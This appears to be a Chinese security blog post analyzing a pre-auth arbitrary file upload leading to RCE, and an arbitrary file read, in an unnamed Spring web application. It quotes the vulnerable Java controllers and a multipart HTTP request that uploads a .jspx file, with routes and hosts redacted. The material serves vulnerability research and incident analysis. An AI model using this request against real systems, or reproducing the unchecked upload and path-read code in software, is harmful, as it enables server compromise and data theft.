某源码前台RCE漏洞分析
某源码前台RCE漏洞分析
哈拉少安全小队 2024-12-19 03:21
一、前言
起因是一位师傅找我,大致意思是他们被上了webshell然后源码给我让我从中找出来他们用的什么0day让我给(抢了)研究研究。
首先分析日志的时候发现。
存在很多这种文件,所以找到一个文件第一次出现的地方一般下一个POST请求即为漏洞的路径。
二、前台任意文件上传
定位到了相关的路由之后载入相关的jadx-gui进行分析,
前提已经进行了分析,知道了这个源码使用的是SPring 开发的一个项目,直接全局搜索相关的路由。
搜索到两个相关的路径。
其中一个位于PlugEditorUpImgController当中,另外一个位于User当中。
在plug当中查看相关代码。
@RequestMapping({"xxxxxxx.do"})
@ResponseBody
public Map<String, String> ueditorUploadImage(@RequestParam("upfile") CommonsMultipartFile upfile, HttpServletRequest request) throws IOException {
Map<String, String> map = new HashMap<>();
if (upfile != null && upfile.getSize() > 0) {
String extName = FileUtil.getFileExtName(upfile.getOriginalFilename());
String url = XlyEnvironment.getInstance().getRealpath();
String path = XlyEnvironment.getInstance().getXlyUploadDirConfig().getImgUeditor();
String fileName = new Date().getTime() + "." + extName;
String filePath = path + "/" + fileName;
FileUtil.uploadFile(upfile, url + filePath);
map.put("state", "SUCCESS");
map.put("title", fileName);
map.put("original", upfile.getOriginalFilename());
map.put("type", "." + extName);
map.put("url", filePath);
map.put("size", upfile.getSize() + "");
} else {
map.put("state", "FALSE");
}
return map;
}
}
可以看到代码没有进行任何过滤直接进行了相关的上传导致的RCE。
进行文件上传拿到文件名称然后直接进行了拼接,上传目录位于
/plug/upload/imgUeditor/文件名称
但是在User当中。
@RequestMapping({"xxxxx.do"})
@ResponseBody
public Map<String, String> ueditorUploadImage(@RequestParam("upfile") CommonsMultipartFile commonsMultipartFile, HttpServletRequest httpServletRequest) throws IOException {
Map<String, String> hashMap = new HashMap<>();
if (commonsMultipartFile != null && commonsMultipartFile.getSize() > 0) {
String fileExtName = FileUtil.getFileExtName(commonsMultipartFile.getOriginalFilename());
if (!CommonFun.validatorFileExtName(new String[]{"jpg", "jpeg", "gif", "bmp", "png"}, fileExtName)) {
hashMap.put("state", "FALSE");
} else {
String realpath = XlyEnvironment.getInstance().getRealpath();
String str = "ue" + DateUtil.dateTostr(new Date(), "yyyyMMdd") + "_" + DateUtil.getTimeMillis(new Date()) + "." + fileExtName;
String str2 = XlyEnvironment.getInstance().getXlyUploadDirConfig().getImgUeditor() + "/" + str;
FileUtil.uploadFile(commonsMultipartFile, realpath + str2);
hashMap.put("state", "SUCCESS");
hashMap.put("title", str);
hashMap.put("original", commonsMultipartFile.getOriginalFilename());
hashMap.put("type", "." + fileExtName);
hashMap.put("url", str2);
hashMap.put("size", commonsMultipartFile.getSize() + "");
}
} else {
hashMap.put("state", "FALSE");
}
return hashMap;
}
}
存在了相关的白名单校验,校验相关的文件后缀名,不允许jsp等文件进行上传。
那么我们只要触发相关的plug当中即可。
相关数据包如下:
需要触发plug下的方法
POST /xxxxxxxx HTTP/1.1
Host: xxxxxxx
Content-Length: 315
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarym8BqwxWphEraUWuE
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://127.0.0.1/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundarym8BqwxWphEraUWuE
Content-Disposition: form-data; name="upfile"; filename="1.jspx"
Content-Type: application/octet-stream
asddasaasddasaasddasaasddasaasddasaasddasaasddasaasddasaasddasaasddasaasddasaasddasaasddasaasddasaasddasaasddasaasddasa
------WebKitFormBoundarym8BqwxWphEraUWuE--
直接上传相关文件造成任意文件上传RCE漏洞。
直接进行了前台的文件上传。
直接访问
http://ip/x
xxxxx/
文件名称
即可。
三、任意文件读取漏洞
在审计期间还找到了一个相关的任意文件读取漏洞,我们尝试进行分析
相关payload为
定位相关漏洞路由
相关代码如下:
@RequestMapping({"/xxxxxxx.do"})
public void plugFileDownAnnex_out(HttpServletRequest request, HttpServletResponse response) throws Exception {
response.setContentType("application/msexcel");
response.setHeader("Cache-Control", "no-cache");
LoginUserSession.getLoginUserModel(request);
String filePathName = request.getParameter("filePathName");
if (filePathName.isEmpty()) {
return;
}
String filePath = XlyEnvironment.getInstance().getRealpath() + filePathName;
File file = new File(filePath);
if (!file.exists()) {
return;
}
String extName = FileUtil.getFileExtName(filePathName);
response.setHeader("Content-Disposition", "attachment;filename = 1." + extName);
OutputStream out = response.getOutputStream();
try {
try {
InputStream in = new FileInputStream(filePath);
byte[] buffer = new byte[1024];
while (true) {
int len = in.read(buffer);
if (len > 0) {
out.write(buffer, 0, len);
} else {
in.close();
out.close();
return;
}
}
} catch (IOException e) {
logger.error("下载附件时出错", e.getMessage());
out.close();
}
} catch (Throwable th) {
out.close();
throw th;
}
}
可以看出来使用IO流进行读取,直接就可以进行相关文件的读取。
四、完结